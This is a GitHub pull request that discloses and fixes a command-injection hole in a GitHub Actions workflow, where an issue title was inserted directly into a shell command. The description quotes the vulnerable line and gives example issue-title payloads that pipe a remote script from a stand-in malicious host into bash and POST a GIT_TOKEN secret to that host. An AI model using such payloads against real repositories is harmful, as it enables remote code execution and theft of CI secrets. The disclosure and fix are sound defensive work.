Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security Update in new_issues.yml #62

Merged
merged 1 commit into from
Jul 31, 2023
Merged

Conversation

aashish-19
Copy link
Contributor

@aashish-19 aashish-19 commented Jul 25, 2023

Description

new_issues.yml is vulnerable to RCE via command injection in issue title.

Currently, the following block simply appends the issue title to the shell command. Since the issue title is under user's control, a malicious entity could create an issue with a title such that it escapes the command meant to be executed and instead execute arbitrary commands, which could lead to a variety of security issues such as deletion of files and issues, exfiltration of environment variables to leak secrets, etc:

  • name: Run Suggest run: faqtory suggest "${{ github.event.issue.title }}" > suggest.md

A simple example of a malicious payload in the issue title can be: Security"; curl https://malicious-site.com/malicious-script.sh | bash # This would simply close the double quotes and after running faqtory suggest, it would curl a malicious script and pipe it to bash for execution. It will comment out rest of the code.

Similarly, to exfiltrate environment variables, a sample payload in the issues title can be: Security"; $GIT_TOKEN > /tmp/env.txt && curl -X POST -d @/tmp/env.txt https://malicious-site.com/` This would first save the contents of the GIT_TOKEN environment variable in a file in the /tmp directory and then using curl send the contents of the file in a POST request to the attacker controlled web server.

What does this PR do?

This PR makes the necessary changes to the file to ensure this issue is remediated.
To ensure proper sanitization of user inputs, it is best to avoid using them as placeholders directly in the script. This PR therefore passes it as an environment variable, by storing the issue title into an environment variable called TITLE and passing it as an argument into the script, hence mitigating the RCE.

Types of changes

  • Bug fix (non-breaking change which fixes an issue)
  • New feature (non-breaking change which adds functionality)
  • Breaking change (fix or feature that would cause existing functionality to change)
  • New chore (expected functionality to be implemented)

new_issues.yml is vulnerable to RCE via command injection in issue title.

Currently, the following block simply appends the issue title to the shell command. Since the issue title is under user's control, a malicious entity could create an issue with a title such that it escapes the command meant to be executed and instead execute arbitrary commands, which could lead to a variety of security issues such as deletion of files and issues, exfiltration of environment variables to leak secrets, etc: 
 - name: Run Suggest
        run: faqtory suggest "${{ github.event.issue.title }}" > suggest.md

A simple example of a malicious payload in the issue title can be:
Security"; curl https://malicious-site.com/malicious-script.sh | bash #
This would simply close the double quotes and after running faqtory suggest, it would curl a malicious script and pipe it to bash for execution. It will comment out rest of the code.

Similarly, to exfiltrate environment variables, a sample payload in the issues title can be:
Security"; $GIT_TOKEN > /tmp/env.txt && curl -X POST -d @/tmp/env.txt https://malicious-site.com/`
This would first save the contents of the GIT_TOKEN environment variable in a file in the /tmp directory and then using curl send the contents of the file in a POST request to the attacker controlled web server.

Signed-off-by: aashish-19 <74505547+aashish-19@users.noreply.github.com>
@aashish-19
Copy link
Contributor Author

Hey any updates regarding this?

@rachfop rachfop merged commit 4880635 into score-spec:main Jul 31, 2023
1 of 2 checks passed
@rachfop
Copy link
Contributor

rachfop commented Jul 31, 2023

Thank you for the suggestion.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants